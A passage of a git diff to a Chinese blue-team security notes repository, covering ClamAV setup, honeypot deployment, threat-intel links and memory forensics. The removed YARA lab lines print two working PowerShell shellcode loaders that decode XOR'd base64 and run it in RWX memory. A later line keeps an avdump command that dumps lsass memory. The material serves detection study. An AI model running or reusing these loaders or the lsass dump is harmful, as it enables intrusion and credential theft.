"b/1earn/Security/BlueTeam/\345\256\236\351\252\214/ClamAV\351\203\250\347\275\262.md" @@ -0,0 +1,114 @@ +# ClamAV 部署 + +> 笔记内容由 [Lorna Dane](https://github.com/tonyscy) 提供,仅做部分内容排版修改 + +--- + +# ubuntu + +**安装** + +```bash +apt-get install clamav +apt-get install clamtk # 图形化界面,可以不装 +``` + +*安装完成之后查看版本信息* + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/1.png) + +*尝试运行* + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/2.png) + +接下来就是下载最新的病毒库。 + +可以使用 `freshclam -v` 来直接下载,但是通常情况下网络都非常不稳定,很可能导致多次下载一次都不成功。 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/3.png) + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/6.png) + +所以我们需要手动下载病毒库。 + +```bash +wget http://database.clamav.net/main.cvd +wget http://database.clamav.net/daily.cvd +``` + +下载完成之后放入 clamAV 指定的文件夹。 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/4.png) + +再次使用更新完的 clamAV + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/5.png) + +--- + +# centos7 + +```bash +yum -y install epel-release # 安装epel +yum install -y clamav clamav-update # 安装ClamAV +``` + +在通常情况下,centos 中安装完 clamAV 不能直接使用,使用 `clamscan -v` 可以看到以下报错。 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/7.png) + +这时需要 `freshclam` 来安装最新病毒库。 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/8.png) + +可以看到已经可以扫描了 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/9.png) + +--- + +# Fedora + +使用 yum 直接安装 + +```bash +yum install -y clamav clamav-update # 安装ClamAV +``` + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/10.png) + +和 centos 一样,也需要更新病毒库后才可以使用。 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/11.png) + +使用 `freshclam` 来更新病毒库。 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/12.png) + +扫描 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/13.png) + +--- + +# debian + +安装 + +```bash +apt-get install clamav +``` + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/14.png) + +更新 + +```bash +freshclam -v +``` + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/15.png) + +扫描 + +![](../../../../assets/img/Security/BlueTeam/实验/ClamAV部署/16.png) diff --git "a/1earn/Security/BlueTeam/\345\256\236\351\252\214/yara\345\256\236\351\252\214.md" "b/1earn/Security/BlueTeam/\345\256\236\351\252\214/yara\345\256\236\351\252\214.md" index 0837b2af..9b6dce42 100644 --- "a/1earn/Security/BlueTeam/\345\256\236\351\252\214/yara\345\256\236\351\252\214.md" +++ "b/1earn/Security/BlueTeam/\345\256\236\351\252\214/yara\345\256\236\351\252\214.md" @@ -13,7 +13,7 @@ windows 下访问项目的 releases 页面下载 https://github.com/VirusTotal/y 为了方便,这里重命名 yara64.exe 为 yara.exe -在当前目录下打开CMD,输入help +在当前目录下打开 CMD, 输入 help ``` yara.exe --help ``` @@ -246,91 +246,12 @@ rule CS : win32 ![](../../../../assets/img/Security/BlueTeam/实验/yara实验/17.png) 32位 -```powershell -Set-StrictMode -Version 2 - -$DoIt = @' -function func_get_proc_address { - Param ($var_module, $var_procedure) - $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') - $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) - return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) -} - -function func_get_delegate_type { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, - [Parameter(Position = 1)] [Type] $var_return_type = [Void] - ) - - $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') - $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') - - return $var_type_builder.CreateType() -} - -[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktzIyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMdEVPECMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxITDRMYA3RKTUdMVFADbXcDFQ0RGAN0Sk0VFxgDWxUXGAN3UUpHRk1XDBUNExgDYlVCTVcDYVFMVFBGUQouKSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhoRDRIVGw0SFxINEhYQIyMjIyM=') -for ($x = 0; $x -lt $var_code.Count; $x++) { - $var_code[$x] = $var_code[$x] -bxor 35 -} - -$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) -$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) -[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) - -$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) -$var_runme.Invoke([IntPtr]::Zero) -'@ - -If ([IntPtr]::size -eq 8) { - start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job -} -else { - IEX $DoIt -} -``` +![](../../../../assets/img/Security/BlueTeam/实验/yara实验/30.png) 64位 -```powershell -Set-StrictMode -Version 2 - -function func_get_proc_address { - Param ($var_module, $var_procedure) - $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') - $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) - return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) -} - -function func_get_delegate_type { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, - [Parameter(Position = 1)] [Type] $var_return_type = [Void] - ) - - $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') - $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') - - return $var_type_builder.CreateType() -} -If ([IntPtr]::size -eq 8) { - [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJim3MjIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDEcWSXkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBYNExgDYWxqZhoYZm12cAouKSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBmNic3gjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BIaEQ0SFRsNEhcSDRIWECMjIyMj') - - for ($x = 0; $x -lt $var_code.Count; $x++) { - $var_code[$x] = $var_code[$x] -bxor 35 - } - - $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) - $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) - [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) - - $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) - $var_runme.Invoke([IntPtr]::Zero) -} -``` +![](../../../../assets/img/Security/BlueTeam/实验/yara实验/31.png) 32 位和 64 位结构相似, 32 位使用 $DoIt = @''@方式定义两个函数. 程序关键执行的内容被 base64 编码 diff --git "a/1earn/Security/BlueTeam/\345\256\236\351\252\214/\345\256\211\351\230\262\350\256\276\346\226\275\346\220\255\345\273\272\344\275\277\347\224\250.md" "b/1earn/Security/BlueTeam/\345\256\236\351\252\214/\345\256\211\351\230\262\350\256\276\346\226\275\346\220\255\345\273\272\344\275\277\347\224\250.md" index 6be72641..edf983aa 100644 --- "a/1earn/Security/BlueTeam/\345\256\236\351\252\214/\345\256\211\351\230\262\350\256\276\346\226\275\346\220\255\345\273\272\344\275\277\347\224\250.md" +++ "b/1earn/Security/BlueTeam/\345\256\236\351\252\214/\345\256\211\351\230\262\350\256\276\346\226\275\346\220\255\345\273\272\344\275\277\347\224\250.md" @@ -35,6 +35,25 @@ docker run -it -p 80:8800 -p 102:10201 -p 502:5020 -p 161:16100/udp --network=br --- +## HFish + +> HFish 是一款基于 Golang 开发的跨平台多功能主动诱导型开源蜜罐框架系统,为了企业安全防护做出了精心的打造,全程记录黑客攻击手段,实现防护自主化。 + +**项目地址** +- https://github.com/hacklcx/HFish + +**搭建过程** +``` +docker pull imdevops/hfish + +docker run -d --name hfish -p 21:21 -p 22:22 -p 23:23 -p 69:69 -p 3306:3306 -p 5900:5900 -p 6379:6379 -p 8080:8080 -p 8081:8081 -p 8989:8989 -p 9000:9000 -p 9001:9001 -p 9200:9200 -p 11211:11211 --restart=always imdevops/hfish:latest +``` +- 环境变量API_IP的值为 API 的 IP 地址加端口组成。 +- 默认帐号密码均为:admin,如需修改可以通过加入-e USERNAME= -e PASSWORD= 传入环境变量进行修改。 +- 如需做数据持久化存储,可加参数 -v $PWD:/opt 挂载数据卷到宿主机上,避免容器删除数据丢失。 + +--- + # IDS & IPS ## Snort diff --git "a/1earn/Security/BlueTeam/\345\272\224\346\200\245.md" "b/1earn/Security/BlueTeam/\345\272\224\346\200\245.md" index 020b27e3..b432560a 100644 --- "a/1earn/Security/BlueTeam/\345\272\224\346\200\245.md" +++ "b/1earn/Security/BlueTeam/\345\272\224\346\200\245.md" @@ -4,7 +4,7 @@ ## 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- @@ -20,7 +20,6 @@ * [IP分析](#ip分析) * [PassiveDNS](#passivedns) * [IOCs](#iocs) - * [Yara](#yara) * **[系统层面](#系统层面)** * [Rootkit](#rootkit) @@ -53,6 +52,7 @@ - [New campaign targeting security researchers](https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/) - [当黑客不讲武德 安全专家也容易被骗](https://paper.seebug.org/1471/) - [A deeper dive into our May 2019 security incident](https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/) +- [Abusing cloud services to fly under the radar](https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/) **溯源案例** - [记一次溯源恶意ip45.123.101.251僵尸网络主机的全过程](https://blog.csdn.net/u014789708/article/details/104938252) @@ -61,6 +61,8 @@ - [中国菜刀仿冒官网三百万箱子爆菊记](https://wooyun.js.org/drops/%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%E4%BB%BF%E5%86%92%E5%AE%98%E7%BD%91%E4%B8%89%E7%99%BE%E4%B8%87%E7%AE%B1%E5%AD%90%E7%88%86%E8%8F%8A%E8%AE%B0.html) - [投稿文章:记一次2020你懂的活动蓝队溯源历程](https://www.t00ls.net/thread-58204-1-3.html) - [记一次反制追踪溯本求源](https://mp.weixin.qq.com/s/xW2u4s8xCTnLCkpDoK5Yzw) +- [追踪活动中相遇CobaltStrike的故事](https://bbs.pediy.com/thread-260923.htm) +- [Whitelist Me, Maybe? “Netbounce” Threat Actor Tries A Bold Approach To Evade Detection](https://www.fortinet.com/blog/threat-research/netbounce-threat-actor-tries-bold-approach-to-evade-detection?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+fortinet%2Fblog%2Fthreat-research+%28Fortinet+Threat+Research+Blog%29) **指南** - [theLSA/emergency-response-checklist](https://github.com/theLSA/emergency-response-checklist) - 应急响应指南 @@ -70,6 +72,7 @@ - [meirwah/awesome-incident-response](https://github.com/meirwah/awesome-incident-response) - 精选的事件响应工具清单 - [NextronSystems/APTSimulator](https://github.com/NextronSystems/APTSimulator) - 伪装成 APT 受害者?(还有这种操作) - [n4ll3ec/ThreatHound](https://github.com/n4ll3ec/ThreatHound) - 一款威胁情报查询工具,用于查询潜在的恶意 IP 或者域名.它结合 MISP 开源威胁情报共享平台作为其后端情报库,当前整合了开源社区69个开源威胁情报数据 feed. +- [pandazheng/Threat-Intelligence-Analyst](https://github.com/pandazheng/Threat-Intelligence-Analyst) - 威胁情报,恶意样本分析,开源Malware代码收集 --- @@ -87,6 +90,8 @@ - [NTI - 绿盟威胁情报中心](https://nti.nsfocus.com/) - [安恒威胁情报中心](https://ti.dbappsecurity.com.cn/) - [360威胁情报中心](https://ti.360.cn/#/homepage) +- [RedQueen安全智能服务平台](https://redqueen.tj-un.com/IntelHome.html) +- [TI - start.me](https://start.me/p/rxRbpo/ti) ## 样本分析检测 @@ -116,6 +121,7 @@ - [Free Automated Malware Analysis Service](https://www.reverse.it/) - [ViCheck - Upload Files to Find Embedded Malware](https://vicheck.ca/submitfile.php) - [MalwareBazaar](https://bazaar.abuse.ch/) +- [URLhaus](https://urlhaus.abuse.ch/browse/) **恶意样本查询** - [Malware Source](https://github.com/mwsrc) @@ -133,6 +139,9 @@ - [ytisf/theZoo](https://github.com/ytisf/theZoo) - [Advanced File Analysis System | Valkyrie](https://camas.comodo.com/) +**样本库** +- [ffffffff0x/VIRUS-HUB](https://github.com/ffffffff0x/VIRUS-HUB) - 病毒库、样本中心 + --- ## 钓鱼监测 @@ -143,6 +152,12 @@ --- +## 暗网监测 + +- [s045pd/DarkNet_ChineseTrading](https://github.com/s045pd/DarkNet_ChineseTrading) - 暗网中文网监控爬虫 + +--- + ## URL分析 - [VirusTotal](https://www.virustotal.com/gui/home/url) @@ -192,6 +207,8 @@ Passive DNS 对安全研究非常重要,因为它可以在前期帮助我们 **相关文章** - [从IOC的一些真相谈对其的评价标准](https://mp.weixin.qq.com/s/95jB4DfaXau6NDotNSpwdA) +- [Identifying Cobalt Strike team servers in the wild](https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/) + - [渗透测试神器Cobalt Strike服务端存在“空格”特征,可识别在野测试 (含规则)](https://www.secrss.com/articles/8653) **相关资源** - [sroberts/awesome-iocs](https://github.com/sroberts/awesome-iocs) - IOC相关资源的合集 @@ -220,25 +237,6 @@ Passive DNS 对安全研究非常重要,因为它可以在前期帮助我们 --- -## Yara - -YARA 是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的规则模板(由 virustotal 的软件工程师 Victor M. Alvarezk 开发),使用 YARA 可以基于文本或二进制模式创建恶意软件家族描述信息。 - -- 项目地址 : https://github.com/VirusTotal/yara -- 语法库 : https://yara.readthedocs.io/en/latest/ - -**相关文章** -- [Yara入门——如何通过Yara规则匹配CobaltStrike恶意样本](https://www.anquanke.com/post/id/211501) -- [YARA:抗击恶意代码的神兵利器](https://www.freebuf.com/articles/system/26373.html) -- [恶意软件模式匹配利器 - YARA](https://www.freebuf.com/articles/96903.html) - -**规则库** -- [InQuest/awesome-yara](https://github.com/InQuest/awesome-yara) -- [bartblaze/Yara-rules](https://github.com/bartblaze/Yara-rules) -- [Yara-Rules/rules](https://github.com/Yara-Rules/rules) - ---- - # 系统层面 **Windows 应急工具** @@ -310,11 +308,6 @@ YARA 是一款旨在帮助恶意软件研究人员识别和分类恶意软件样 # Web层面 -**URL 分析 && Passive DNS** -- [URL 分析 && Passive DNS](./监察.md#URL分析-PassiveDNS) - ---- - ## 暗链 **Tips** diff --git "a/1earn/Security/BlueTeam/\347\233\221\345\257\237.md" "b/1earn/Security/BlueTeam/\347\233\221\345\257\237.md" index 3cd6feb4..ff8e3a9c 100644 --- "a/1earn/Security/BlueTeam/\347\233\221\345\257\237.md" +++ "b/1earn/Security/BlueTeam/\347\233\221\345\257\237.md" @@ -4,7 +4,7 @@ ## 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- @@ -35,12 +35,12 @@ **相关工具** - [clamav](https://www.clamav.net/downloads) - - 安装过程可以参考 [clamav](../../Integrated/Linux/Power-Linux.md#clamav) -- [360](https://sd.360.cn/) - 略 -- [腾讯电脑管家国际版](https://www.pcmgr-global.com/) - 国际版杀毒能力强于国内版,略 -- [火绒](https://www.huorong.cn/) - 杀毒能力有限 + - 安装过程可以参考 [clamav部署](./实验/clamav部署.md) +- [360](https://sd.360.cn/) +- [腾讯电脑管家国际版](https://www.pcmgr-global.com/) +- [火绒](https://www.huorong.cn/) - [智量](https://www.wisevector.com/) - 误报率较高,实际使用中其实影响不大,推荐 -- [卡巴斯基](https://www.kaspersky.com.cn/) - 略 +- [卡巴斯基](https://www.kaspersky.com.cn/) --- @@ -79,6 +79,8 @@ - [paralax/awesome-honeypots](https://github.com/paralax/awesome-honeypots) - awesome 系列蜜罐资源列表 - [mushorg/Conpot](https://github.com/mushorg/conpot) - 一个开源的 ICS/SCADA 蜜罐系统 - [Conpot搭建过程记录](./实验/安防设施搭建使用.md#conpot) +- [hacklcx/HFish](https://github.com/hacklcx/HFish) - 一款基于 Golang 开发的跨平台多功能主动诱导型开源蜜罐框架系统 + - [HFish搭建过程记录](./实验/安防设施搭建使用.md#hfish) ## RASP @@ -117,6 +119,7 @@ - [jasonish/suricata-trafficid](https://github.com/jasonish/suricata-trafficid) - [Index of /open/suricata/rules](https://rules.emergingthreats.net/open/suricata/rules/) - Emerging Threats 维护的规则 - [codecat007/snort-rules](https://github.com/codecat007/snort-rules) - 一个非正式的 Snort 规则(IDS 规则)仓库。 +- [sudohyak/suricata-rules](https://github.com/sudohyak/suricata-rules) --- @@ -152,6 +155,7 @@ - [奇安信:零信任安全解决方案在部委大数据中心的实践案例](https://c-csa.cn/case/case-detail/i-155/) - [绿盟科技零信任安全解决方案](https://c-csa.cn/case/case-detail/i-154/) - [浅谈Forrester零信任架构评估的7个技术维度](https://mp.weixin.qq.com/s/IZ3BGi3rPwcBgsTlc_ILLg) +- [Illumio六部曲 | 微分段有效性实战评估](https://mp.weixin.qq.com/s/fXobpzDrlTW8WvLIgecYQA) **相关资源** - [零信任技术 - 中国信息通信研究院](http://www.caict.ac.cn/kxyj/qwfb/ztbg/202008/P020200812382865122881.pdf) diff --git "a/1earn/Security/BlueTeam/\347\254\224\350\256\260/\345\206\205\345\255\230\345\217\226\350\257\201.md" "b/1earn/Security/BlueTeam/\347\254\224\350\256\260/\345\206\205\345\255\230\345\217\226\350\257\201.md" index e7fbd9aa..262c43f7 100644 --- "a/1earn/Security/BlueTeam/\347\254\224\350\256\260/\345\206\205\345\255\230\345\217\226\350\257\201.md" +++ "b/1earn/Security/BlueTeam/\347\254\224\350\256\260/\345\206\205\345\255\230\345\217\226\350\257\201.md" @@ -1,5 +1,7 @@ # 内存取证 +> 注 : 笔记中拓扑图 xmind 源文件在其图片目录下 + --- ## 免责声明 @@ -29,6 +31,10 @@ # 内存提取 +

+ +

+ 这个步骤是从目标机器中导出内存。完整的内存数据包括两部分: 物理内存数据和页面交换文件数据. 物理内存通常是一个特殊的内核对象, 比如, 在 Windows 系统中, 物理内存是内核内存区对象, 即 `\\Device\\PhysicalMemory`; 在 Unix/Linux 系统中, 物理内存为 `/dev/mem` 和 `/dev/kmem`. 只要能读取该内核对象, 就能获取物理内存数据. 你可以在物理机上使用工具比如 Win32dd/Win64dd, Memoryze, DumpIt, FastDump 。然而在虚拟机上,获取内存是很容易的,你可以暂停 VM 并取出 `.vmem` 文件。 @@ -45,9 +51,9 @@ 根据所面向的硬件体系和操作系统的不同,可以分为以下几种 -**面向Intel 架构桌面操作系统的内存获取** +**面向 Intel 架构桌面操作系统的内存获取** -此类基于硬件的内存获取方法主要通过插入硬件卡, 利用 DMA(direct memory access, 直接内存访问) 指令去获取物理内存的拷贝. 在拷贝物理内存时, 目标系统的 CPU 将暂停, 以避免因操作系统的执行而改变内存数据. 目前有 4 种类型的硬件卡: +此类基于硬件的内存获取方法主要通过插入硬件卡, 利用 DMA(direct memory access, 直接内存访问) 指令去获取物理内存的拷贝. 在拷贝物理内存时, 目标系统的 CPU 将暂停, 以避免因操作系统的执行而改变内存数据. 目前有以下几种类型的硬件卡: - 基于 PCI 卡拷贝物理内存 (hardware card based technique) - 基于 IEEE 1394 火线接口拷贝物理内存 (hardware bus based technique) @@ -84,17 +90,17 @@ **相关工具** - [moonsols](https://www.moonsols.com/) - moonsols 可以处理休眠文件(Hiberfil.sys),crashdump 文件和 raw memory dump 文件,crashdump 可以被 winDBG 加载进行分析,所以最终要转化为 crashdump 文件。 - Dumpit - 一款 windows 内存镜像取证工具。利用它我们可以轻松地将一个系统的完整内存镜像下来,并用于后续的调查取证工作 -- Belkasoft RAMCapturer +- [Belkasoft RAMCapturer](https://belkasoft.com/ram-capturer) - [Magnet RAM Capture](https://www.magnetforensics.com/resources/magnet-ram-capture/) -- WinEn -- Winpmem -- EnCase Imager +- [Winpmem](https://github.com/Velocidex/WinPmem) - [FTK Imager](https://accessdata.com/product-download) +- [Redline](https://www.fireeye.com/services/freeware/redline.html) - Elcomsoft System Recovery - AvDump - 提取指定 pid 的内存 ``` .\avdump64.exe --pid --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp ``` +- procdump #### hiberfil.sys @@ -132,6 +138,12 @@ cat hiberfil.sys | tr -d '\0' | read -n 1 || echo "All null bytes" Hibr2Dmp.exe hiberfil.sys hiberfil.dmp ``` +#### MEMORY.DMP + +MEMORY.DMP 文件是 Windows 操作系统中的内存转储文件,当 Windows 发生错误蓝屏的时候,系统将当前内存(含虚拟内存)中的数据直接写到文件中去,方便定位故障原因。 + +![](../../../../assets/img/Security/BlueTeam/笔记/内存取证/1.png) + --- ### MAX OSX diff --git a/1earn/Security/CTF/CTF.md b/1earn/Security/CTF/CTF.md index 30ccf302..be9670da 100644 --- a/1earn/Security/CTF/CTF.md +++ b/1earn/Security/CTF/CTF.md @@ -50,6 +50,7 @@ - http://hackinglab.cn/ - https://new.bugku.com/ - https://buuoj.cn/ +- https://www.ctfhub.com/#/index **学习资源** - https://ctf-wiki.github.io/ctf-wiki/ diff --git a/1earn/Security/Crypto/Crypto.md b/1earn/Security/Crypto/Crypto.md index 0000a406..b85b5d36 100644 --- a/1earn/Security/Crypto/Crypto.md +++ b/1earn/Security/Crypto/Crypto.md @@ -120,9 +120,9 @@ - https://intensecrypto.org/public/ **工具** -- [ffffffff0x/CryptionTool](https://github.com/ffffffff0x/CryptionTool) - CTF工具框架,集成常见加解密,密码、编码转换,端口扫描,字符处理等功能 -- [Snowming04/Cipher_Encryption_Type_Identification:.](https://github.com/Snowming04/Cipher_Encryption_Type_Identification) - 对密文的加密类型进行判断的命令行工具 +- [ffffffff0x/BerylEnigma](https://github.com/ffffffff0x/BerylEnigma) - 一个为渗透测试与CTF而制作的工具集,主要实现一些加解密的功能。 - [gchq/CyberChef](https://github.com/gchq/CyberChef) - 一个用于加密、编码、压缩和数据分析的网络应用 +- [Snowming04/Cipher_Encryption_Type_Identification:.](https://github.com/Snowming04/Cipher_Encryption_Type_Identification) - 对密文的加密类型进行判断的命令行工具 - [guyoung/CaptfEncoder](https://github.com/guyoung/CaptfEncoder) - 一款跨平台网络安全工具套件 - [lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) - 密码学的瑞士军刀 - [Acmesec/CTFCrackTools](https://github.com/Acmesec/CTFCrackTools) - CTF工具框架 diff --git "a/1earn/Security/ICS/PLC\346\224\273\345\207\273.md" "b/1earn/Security/ICS/PLC\346\224\273\345\207\273.md" index 0e4f3576..13cb483c 100644 --- "a/1earn/Security/ICS/PLC\346\224\273\345\207\273.md" +++ "b/1earn/Security/ICS/PLC\346\224\273\345\207\273.md" @@ -4,7 +4,7 @@ ## 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- @@ -12,6 +12,8 @@ PLC 控制系统(Programmable Logic Controller,可编程逻辑控制器),专为工业生产设计的一种数字运算操作的电子装置,它采用一类可编程的存储器,用于其内部存储程序,执行逻辑运算,顺序控制,定时,计数与算术操作等面向用户的指令,并通过数字或模拟式输入/输出控制各种类型的机械或生产过程。是工业控制的核心部分。简要的说,PLC 就是一部小型的工业电脑。 +PLC 